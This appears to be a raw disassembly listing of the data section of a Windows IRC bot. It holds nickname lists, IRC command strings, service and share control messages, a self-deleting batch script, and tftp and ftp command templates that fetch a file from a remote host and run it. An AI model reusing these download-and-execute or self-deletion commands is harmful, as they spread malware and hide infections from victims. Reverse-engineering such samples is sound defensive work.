dword_44CFF8 dd 71h dword_44CFFC dd 77h dword_44D000 dd 65h dword_44D004 dd 72h dword_44D008 dd 74h dword_44D00C dd 79h dword_44D010 dd 75h dword_44D014 dd 69h dword_44D018 dd 70h dword_44D01C dd 61h dword_44D020 dd 73h dword_44D024 dd 64h dword_44D028 dd 66h dword_44D02C dd 67h dword_44D030 dd 68h dword_44D034 dd 6Ah dword_44D038 dd 6Bh dword_44D03C dd 6Ch dword_44D040 dd 7Ah dword_44D044 dd 78h dword_44D048 dd 63h dword_44D04C dd 76h dword_44D050 dd 62h dword_44D054 dd 6Eh dword_44D058 dd 6Dh dword_44D05C dd 51h dword_44D060 dd 57h dword_44D064 dd 45h dword_44D068 dd 52h dword_44D06C dd 54h dword_44D070 dd 59h dword_44D074 dd 55h dword_44D078 dd 49h dword_44D07C dd 4Fh dword_44D080 dd 50h dword_44D084 dd 41h dword_44D088 dd 53h dword_44D08C dd 44h dword_44D090 dd 46h dword_44D094 dd 47h dword_44D098 dd 48h dword_44D09C dd 4Ah dword_44D0A0 dd 4Bh dword_44D0A4 dd 4Ch dword_44D0A8 dd 5Ah dword_44D0AC dd 58h dword_44D0B0 dd 43h dword_44D0B4 dd 56h dword_44D0B8 dd 42h dword_44D0BC dd 4Eh dword_44D0C0 dd 4Dh aSmartmir db 'SMARTMIR',0 ; DATA XREF: seg002:0044CC2Co
align 10h
aFarooq db 'farooq',0 ; DATA XREF: seg002:0044CC30o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: seg002:0044CC34o
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: seg002:0044CC38o
align 4
aEmilya db 'emilya',0 ; DATA XREF: seg002:0044CC3Co
align 4
aKrizha db 'KRIZHA',0 ; DATA XREF: seg002:0044CC40o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: seg002:0044CC44o
aSwin db 'swin',0 ; DATA XREF: seg002:0044CC48o
align 4
aMale db 'male',0 ; DATA XREF: seg002:0044CC4Co
align 4
aKoko db 'koko',0 ; DATA XREF: seg002:0044CC50o
align 4
aFlexster db 'flexster',0 ; DATA XREF: seg002:0044CC54o
align 4
aKen db 'ken',0 ; DATA XREF: seg002:0044CC58o
aShez db 'Shez',0 ; DATA XREF: seg002:0044CC5Co
align 4
aTalika db 'talika',0 ; DATA XREF: seg002:0044CC60o
align 4
aMarcy db 'marcy',0 ; DATA XREF: seg002:0044CC64o
align 4
aCme db 'cme',0 ; DATA XREF: seg002:0044CC68o
aHeval db 'heval',0 ; DATA XREF: seg002:0044CC6Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: seg002:0044CC70o
align 4
aJanno db 'janno',0 ; DATA XREF: seg002:0044CC74o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: seg002:0044CC78o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: seg002:0044CC7Co
align 4
aLuisa db 'Luisa',0 ; DATA XREF: seg002:0044CC80o
align 4
aTroller db 'troller',0 ; DATA XREF: seg002:0044CC84o
aManee db 'manee',0 ; DATA XREF: seg002:0044CC88o
align 4
aKermit db 'kermit',0 ; DATA XREF: seg002:0044CC8Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: seg002:0044CC90o
align 10h
aCoredump db 'CoreDump',0 ; DATA XREF: seg002:0044CC94o
align 4
aImra db 'imra',0 ; DATA XREF: seg002:0044CC98o
align 4
aGirl db 'GirL',0 ; DATA XREF: seg002:0044CC9Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: seg002:0044CCA0o
align 4
aReshma db 'reshma',0 ; DATA XREF: seg002:0044CCA4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: seg002:0044CCA8o
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: seg002:0044CCACo
align 10h
aCansuuuu db 'cansuuuu',0 ; DATA XREF: seg002:0044CCB0o
align 4
aKaan38dent db 'kaan38dent',0 ; DATA XREF: seg002:0044CCB4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: seg002:0044CCB8o
aHexaaa db 'hexaaa',0 ; DATA XREF: seg002:0044CCBCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: seg002:0044CCC0o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: seg002:0044CCC4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: seg002:0044CCC8o
align 4
aMisssunday db 'misssunday',0 ; DATA XREF: seg002:0044CCCCo
align 4
aTolga34 db 'Tolga34',0 ; DATA XREF: seg002:0044CCD0o
aJericho db 'JERICHO',0 ; DATA XREF: seg002:0044CCD4o
aMary_0 db 'MARY',0 ; DATA XREF: seg002:0044CCD8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: seg002:0044CCDCo
align 4
aMelekk db 'melekk',0 ; DATA XREF: seg002:0044CCE0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: seg002:0044CCE4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: seg002:0044CCE8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: seg002:0044CCECo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: seg002:0044CCF0o
align 4
aSevmekmi db 'sevmekmi',0 ; DATA XREF: seg002:0044CCF4o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: seg002:0044CCF8o
aArzu db 'ARZU',0 ; DATA XREF: seg002:0044CCFCo
align 10h
aHaticem db 'haticem',0 ; DATA XREF: seg002:0044CD00o
aErnesto db 'ERNESTO',0 ; DATA XREF: seg002:0044CD04o
aAslii db 'aslii',0 ; DATA XREF: seg002:0044CD08o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: seg002:0044CD0Co
aSamyeli21 db 'samyeli21',0 ; DATA XREF: seg002:0044CD10o
align 4
aRetg db 'RETG',0 ; DATA XREF: seg002:0044CD14o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: seg002:0044CD18o
align 10h
aPelincik db 'pelincik',0 ; DATA XREF: seg002:0044CD1Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: seg002:0044CD20o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: seg002:0044CD24o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: seg002:0044CD28o
align 4
aZack db 'ZACK',0 ; DATA XREF: seg002:0044CD2Co
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: seg002:0044CD30o
align 4
aAlbina db 'albina',0 ; DATA XREF: seg002:0044CD34o
align 10h
aAyla db 'AYLA-',0 ; DATA XREF: seg002:0044CD38o
align 4
off_44D328 dd offset byte_457441 ; DATA XREF: seg002:0044CD3Co
aAnkh db 'ankh',0 ; DATA XREF: seg002:0044CD40o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: seg002:0044CD44o
align 10h
aBogac db 'bogac',0 ; DATA XREF: seg002:0044CD48o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: seg002:0044CD4Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: seg002:0044CD50o
align 10h
aDenizlim db 'DenizliM',0 ; DATA XREF: seg002:0044CD54o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: seg002:0044CD58o
aDevran db 'devran',0 ; DATA XREF: seg002:0044CD5Co
align 4
aArda db 'arda',0 ; DATA XREF: seg002:0044CD60o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: seg002:0044CD64o
aMurat34M db 'murat34-m',0 ; DATA XREF: seg002:0044CD68o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: seg002:0044CD6Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: seg002:0044CD70o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: seg002:0044CD74o
align 4
aEmre db 'Emre--',0 ; DATA XREF: seg002:0044CD78o
align 10h
aElmaazyok db 'elmaazyok',0 ; DATA XREF: seg002:0044CD7Co
align 4
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: seg002:0044CD80o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: seg002:0044CD84o
aFlord db 'FLoRD',0 ; DATA XREF: seg002:0044CD88o
align 4
aHoly db 'holy',0 ; DATA XREF: seg002:0044CD8Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: seg002:0044CD90o
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: seg002:0044CD94o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: seg002:0044CD98o
align 10h
aKashmira db 'Kashmira',0 ; DATA XREF: seg002:0044CD9Co
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: seg002:0044CDA0o
align 4
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: seg002:0044CDA4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: seg002:0044CDA8o
aKumul db 'kumul',0 ; DATA XREF: seg002:0044CDACo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: seg002:0044CDB0o
align 4
aUmut db 'umut-',0 ; DATA XREF: seg002:0044CDB4o
align 4
aAnk32M db 'ANK-32-M',0 ; DATA XREF: seg002:0044CDB8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: seg002:0044CDBCo
aAnkar db 'Ankar',0 ; DATA XREF: seg002:0044CDC0o
align 10h
aFenerlee db 'FeNeRLee',0 ; DATA XREF: seg002:0044CDC4o
align 4
aHayran db 'hayran',0 ; DATA XREF: seg002:0044CDC8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: seg002:0044CDCCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: seg002:0044CDD0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: seg002:0044CDD4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: seg002:0044CDD8o
align 4
aKotan db 'kotan',0 ; DATA XREF: seg002:0044CDDCo
align 4
aSevda db 'sevda',0 ; DATA XREF: seg002:0044CDE0o
align 4
off_44D4BC dd offset byte_4B5245 ; DATA XREF: seg002:0044CDE4o
aAlcatras db 'alcatras',0 ; DATA XREF: seg002:0044CDE8o
align 4
aA44m db 'a44m',0 ; DATA XREF: seg002:0044CDECo
align 4
aBirsen db 'birsen',0 ; DATA XREF: seg002:0044CDF0o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: seg002:0044CDF4o
align 4
aDevre db 'devre',0 ; DATA XREF: seg002:0044CDF8o
align 4
aErkan db 'erkan',0 ; DATA XREF: seg002:0044CDFCo
align 4
aAnkm db 'ankM',0 ; DATA XREF: seg002:0044CE00o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: seg002:0044CE04o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: seg002:0044CE08o
align 10h
aM41ist db 'M41IST',0 ; DATA XREF: seg002:0044CE0Co
align 4
aAdamm33 db 'AdAMM33',0 ; DATA XREF: seg002:0044CE10o
aFirtina db 'firtina',0 ; DATA XREF: seg002:0044CE14o
aAta29 db 'Ata29',0 ; DATA XREF: seg002:0044CE18o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: seg002:0044CE1Co
align 4
aAkden db 'akden',0 ; DATA XREF: seg002:0044CE20o
align 10h
aIzmirlm db 'izmirlm',0 ; DATA XREF: seg002:0044CE24o
aUla db 'ula',0 ; DATA XREF: seg002:0044CE28o
aNeHaber db 'NE-HABER',0 ; DATA XREF: seg002:0044CE2Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: seg002:0044CE30o
align 4
aTropikal db 'tropikal',0 ; DATA XREF: seg002:0044CE34o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: seg002:0044CE38o
aCem39 db 'cem39',0 ; DATA XREF: seg002:0044CE3Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: seg002:0044CE40o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: seg002:0044CE44o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: seg002:0044CE48o
align 10h
aPrometheus db 'prometheus',0 ; DATA XREF: seg002:0044CE4Co
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: seg002:0044CE50o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: seg002:0044CE54o
align 10h
aCumhur29 db 'cumhur29',0 ; DATA XREF: seg002:0044CE58o
align 4
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: seg002:0044CE5Co
align 4
aSex_0 db 'sex',0 ; DATA XREF: seg002:off_44CE60o
aLez db 'lez',0 ; DATA XREF: seg002:0044CE64o
aZex db 'zex',0 ; DATA XREF: seg002:0044CE68o
aTree db 'tree',0 ; DATA XREF: seg002:0044CE6Co
align 4
aBad db 'bad',0 ; DATA XREF: seg002:0044CE70o
aLag db 'lag',0 ; DATA XREF: seg002:0044CE74o
aTambe db '|tambe|',0 ; DATA XREF: seg002:0044CE78o
aWoh db '|woh|',0 ; DATA XREF: seg002:0044CE7Co
align 4
aTot db '-|tot|',0 ; DATA XREF: seg002:0044CE80o
align 4
aSuck db '|suck|',0 ; DATA XREF: seg002:0044CE84o
align 4
aLuck db '|luck|',0 ; DATA XREF: seg002:0044CE88o
align 4
aHub db '{hub}',0 ; DATA XREF: seg002:0044CE8Co
align 4
aSex_1 db '{sex}',0 ; DATA XREF: seg002:0044CE90o
align 4
aGens db '{gens|',0 ; DATA XREF: seg002:0044CE94o
align 4
aLuvuF db '||luvu-f|',0 ; DATA XREF: seg002:0044CE98o
align 10h
aWiked db '|wiked|',0 ; DATA XREF: seg002:0044CE9Co
aSick db 'sick}}',0 ; DATA XREF: seg002:0044CEA0o
align 10h
aQ8 db 'Q8',0 ; DATA XREF: seg002:0044CEA4o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: seg002:0044CEA8o
align 4
aB: ; DATA XREF: seg002:0044CEACo
unicode 0, <b>,0
aC_6: ; DATA XREF: seg002:0044CEB0o
unicode 0, <c>,0
aD_3: ; DATA XREF: seg002:0044CEB4o
unicode 0, <d>,0
aE_0: ; DATA XREF: seg002:0044CEB8o
unicode 0, <e>,0
aF: ; DATA XREF: seg002:0044CEBCo
unicode 0, <f>,0
aG: ; DATA XREF: seg002:0044CEC0o
unicode 0, <g>,0
asc_44D674: ; DATA XREF: seg002:0044CEC4o
unicode 0, <h>,0
aI_1: ; DATA XREF: seg002:0044CEC8o
unicode 0, <i>,0
a__5: ; DATA XREF: seg002:0044CECCo
unicode 0, <_>,0
aJ_1: ; DATA XREF: seg002:0044CED0o
unicode 0, <j>,0
aK_0: ; DATA XREF: seg002:0044CED4o
unicode 0, <k>,0
asc_44D688: ; DATA XREF: seg002:0044CED8o
unicode 0, <l>,0
aM_2: ; DATA XREF: seg002:0044CEDCo
unicode 0, <m>,0
aN_0: ; DATA XREF: seg002:0044CEE0o
unicode 0, <n>,0
aO_0: ; DATA XREF: seg002:0044CEE4o
unicode 0, <o>,0
aP_0: ; DATA XREF: seg002:0044CEE8o
unicode 0, <p>,0
aQ_0: ; DATA XREF: seg002:0044CEECo
unicode 0, <q>,0
aRs db 'rs',0 ; DATA XREF: seg002:0044CEF0o
align 4
aT_0: ; DATA XREF: seg002:0044CEF4o
unicode 0, <t>,0
aU_0: ; DATA XREF: seg002:0044CEF8o
unicode 0, <u>,0
aV: ; DATA XREF: seg002:0044CEFCo
unicode 0, <v>,0
aW: ; DATA XREF: seg002:0044CF00o
unicode 0, <w>,0
asc_44D6B4: ; DATA XREF: seg002:0044CF04o
unicode 0, <x>,0
aY: ; DATA XREF: seg002:0044CF08o
unicode 0, <y>,0
aZ: ; DATA XREF: seg002:0044CF0Co
unicode 0, <z>,0
aHappy db 'happy',0 ; DATA XREF: seg002:0044CF10o
align 4
aRg db 'rg',0 ; DATA XREF: seg002:0044CF14o
align 4
aTy db 'ty',0 ; DATA XREF: seg002:0044CF18o
align 10h
aGf db 'gf',0 ; DATA XREF: seg002:0044CF1Co
align 4
aRt db 'rt',0 ; DATA XREF: seg002:0044CF20o
align 4
aSdf db 'sdf',0 ; DATA XREF: seg002:0044CF24o
aUi db 'ui',0 ; DATA XREF: seg002:0044CF28o
align 10h
aLuvy db 'luvy',0 ; DATA XREF: seg002:0044CF2Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: seg002:0044CF30o
align 10h
aTruck db 'truck',0 ; DATA XREF: seg002:0044CF34o
align 4
aMuckc db 'muckc',0 ; DATA XREF: seg002:0044CF38o
align 10h
aZ_0: ; DATA XREF: seg002:0044CF3Co
unicode 0, <z>,0
aG_0: ; DATA XREF: seg002:0044CF40o
unicode 0, <g>,0
aS_33: ; DATA XREF: seg002:0044CF44o
unicode 0, <s>,0
aQ_1: ; DATA XREF: seg002:0044CF48o
unicode 0, <q>,0
off_44D710 dd offset loc_42523D+5 ; DATA XREF: seg002:0044CF4Co
dword_44D714 dd 6C62627Ch, 0 dword_44D71C dd 5F7C5Fh dword_44D720 dd 46h dword_44D724 dd 4Dh aLuvu db 'LUVU',0 ; DATA XREF: seg002:0044CF78o
align 10h
aSad db 'Sad',0 ; DATA XREF: seg002:0044CF7Co
aF_0 db '^^^f^',0 ; DATA XREF: seg002:0044CF80o
align 4
aB_0: ; DATA XREF: seg002:0044CF84o
unicode 0, <b>,0
aSleeping db 'Sleeping',0 ; DATA XREF: seg002:0044CF8Co
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: seg002:0044CF98o
align 4
aFree_0 db 'Free',0 ; DATA XREF: seg002:0044CF9Co
align 4
asc_44D75C: ; DATA XREF: seg002:0044CFA8o
unicode 0, <X>,0
aBoy db 'BOY',0 ; DATA XREF: seg002:0044CFB0o
aGirl_0 db 'GIRL',0 ; DATA XREF: seg002:0044CFB4o
align 4
aGurl db 'gurl',0 ; DATA XREF: seg002:0044CFB8o
align 4
aShit db 'shit',0 ; DATA XREF: seg002:0044CFBCo
align 4
aAha db 'aha',0 ; DATA XREF: seg002:0044CFC0o
aYeah db 'yeah',0 ; DATA XREF: seg002:0044CFC4o
align 4
aMuha db 'muha',0 ; DATA XREF: seg002:0044CFC8o
align 10h
aMof0 db 'mof0',0 ; DATA XREF: seg002:0044CFCCo
align 4
aMofo db 'mofo',0 ; DATA XREF: seg002:0044CFD0o
align 10h
aTot_0 db 'tot',0 ; DATA XREF: seg002:0044CFD4o
aLol db 'lol',0 ; DATA XREF: seg002:0044CFD8o
aLoloA db 'lolo|a|',0 ; DATA XREF: seg002:0044CFDCo
aSex4free db '|sex4free|',0 ; DATA XREF: seg002:0044CFE0o
align 4
a4us db '|4us|',0 ; DATA XREF: seg002:0044CFE4o
align 4
a4you db '{4you}',0 ; DATA XREF: seg002:0044CFE8o
align 4
a4u db '|4u|',0 ; DATA XREF: seg002:0044CFECo
align 4
a5u db '5u',0 ; DATA XREF: seg002:0044CFF0o
align 4
a6u db '6u',0 ; DATA XREF: seg002:0044CFF4o
align 4
asc_44D7DC: ; DATA XREF: seg000:00416DC6o
dw 0Ah
unicode 0, <>,0
asc_44D7E0: ; DATA XREF: sub_416E07+Co
unicode 0, < >,0
asc_44D7E4: ; DATA XREF: sub_416E07:loc_416E2Do
unicode 0, < >,0
aPing_2 db 'PING',0 ; DATA XREF: sub_416E07+52o
align 10h
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_416E07+69o
align 4
a433 db '433',0 ; DATA XREF: sub_416E07:loc_416E80o
a432 db '432',0 ; DATA XREF: sub_416E07+8Ao
aNickS_3 db 'NICK %s',0Ah,0 ; DATA XREF: sub_416E07+C5o
align 10h
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_416F00+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417120+BCo
; sub_417120+175r ...
align 4
dword_44D84C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44D898 dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_44D8B4 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_417569+118o
dword_44D8C8 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_417569+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: seg000:004179A7o
align 10h
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_4179FA+5o
align 4
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_4179FA+18o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: seg000:00417A9Bo
align 10h
aSS_5 db '%s %s',0 ; DATA XREF: seg000:00417B65o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_417BA1+2o
aSdel_bat db '%sdel.bat',0
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aComspecCSS db '%%comspec%% /c %s %s',0
align 4
dword_44D994 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: seg000:00417DA7o
dd 267021Fh, 2C313003h, 3A353103h, 25203203h, 34032073h
dd 6F026C02h, 43022067h, 61656C02h, 646572h
dword_44D9CC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: seg000:00417DDAo
dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 69610246h
dd 2064656Ch, 69025702h, 2206874h, 72720245h, 220726Fh
dd 646F0243h, 20340365h, 6425h
dword_44DA14 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: seg000:00417DE7o
dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 6570024Fh
dd 69746172h, 220676Eh, 73790253h, 206D6574h, 2207369h
dd 746F024Eh, 2530220h, 6F707075h, 64657472h, 0
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_417E0E+9Do
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_417E0E+C6o
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: seg000:00417F96o
align 4
aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: seg000:00417FA3o
align 10h
off_44DB00 dd offset dword_44DB54 ; DATA XREF: sub_41805B+6Dr
; sub_41843F+50r ...
off_44DB04 dd offset aAdded ; DATA XREF: sub_41805B+2Dr
; sub_41843F+82r ...
; "Added"
dword_44DB08 dd 0 dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
dd 0
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 44DBA0h, 44DBA8h, 2, 44DBB0h, 44DBBCh, 3
dword_44DB54 dd 646441h aAdded db 'Added',0 ; DATA XREF: seg002:off_44DB04o
align 10h
aDelete_1 db 'Delete',0 ; DATA XREF: seg002:0044DB0Co
align 4
aDeleted db 'Deleted',0 ; DATA XREF: seg002:0044DB10o
aList_1 db 'List',0 ; DATA XREF: seg002:0044DB18o
align 4
aListed db 'Listed',0 ; DATA XREF: seg002:0044DB1Co
align 10h
aStart_0 db 'Start',0 ; DATA XREF: seg002:0044DB24o
align 4
aStarted db 'Started',0 ; DATA XREF: seg002:0044DB28o
aStop_0 db 'Stop',0 ; DATA XREF: seg002:0044DB30o
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0044DB34o
aPause_0 db 'Pause',0
align 4
aPaused db 'Paused',0
align 10h
aContinue_0 db 'Continue',0
align 4
aContinued db 'Continued',0
align 4
unk_44DBC8 db 2 ; DATA XREF: sub_41805B+38o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SServiceS db '2 %s service: ',27h,'%s',27h,0
unk_44DBFC db 2 ; DATA XREF: sub_41805B+55o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorWithServ db '2 error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_44DC40 db 2 ; DATA XREF: sub_41805B+74o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SNoServiceSpe db '2 %s: no service specified',0
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418184:loc_41825Do
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418184:loc_4181DEo
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418184+3Co
align 10h
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418184:loc_4181D4o
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418184:loc_4181E8o
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418184:loc_418232o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418184+8Fo
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418184:loc_418264o
db 'marked for deletion.',0
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418184:loc_41826Bo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418184:loc_418272o
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418184:loc_418279o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418184:loc_418280o
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418184:loc_418287o
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418184:loc_41821Do
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418184:loc_418224o
db 'tServiceCtrlDispatcher.',0
align 4
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418184:loc_4181F2o
db 'dependent on it.',0
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418184:loc_4181CAo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418184:loc_41822Bo
db ' the service.',0
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418184:loc_41828Eo
db 'the state of the service.',0
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418184:loc_418295o
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418184:loc_41829Co
align 4
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418184+12Co
align 4
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418302+25o
align 4
aStopped db ' Stopped',0 ; DATA XREF: sub_418302:loc_4183CEo
aStarting db ' Starting',0 ; DATA XREF: sub_418302:loc_4183C7o
aStoping db ' Stoping',0 ; DATA XREF: sub_418302:loc_4183C0o
aRunning db ' Running',0 ; DATA XREF: sub_418302:loc_4183B9o
aContinuing db ' Continuing',0 ; DATA XREF: sub_418302:loc_4183B2o
aPausing db ' Pausing',0 ; DATA XREF: sub_418302:loc_4183ABo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418302:loc_4183A4o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_418302+9Bo
aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_418302+EBo
dword_44E1B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F024Eh
; DATA XREF: sub_41843F+89o
dd 254021Fh, 2C313003h, 3A353103h, 25203203h, 68732073h
dd 3A657261h, 73252720h, 27h
unk_44E1E8 db 2 ; DATA XREF: sub_41843F+57o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SErrorWithSha db '2 %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
unk_44E22C db 2 ; DATA XREF: sub_41843F+ABo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 2, 54h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SNoShareSpeci db '2 %s: no share specified',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418634+26o
align 10h
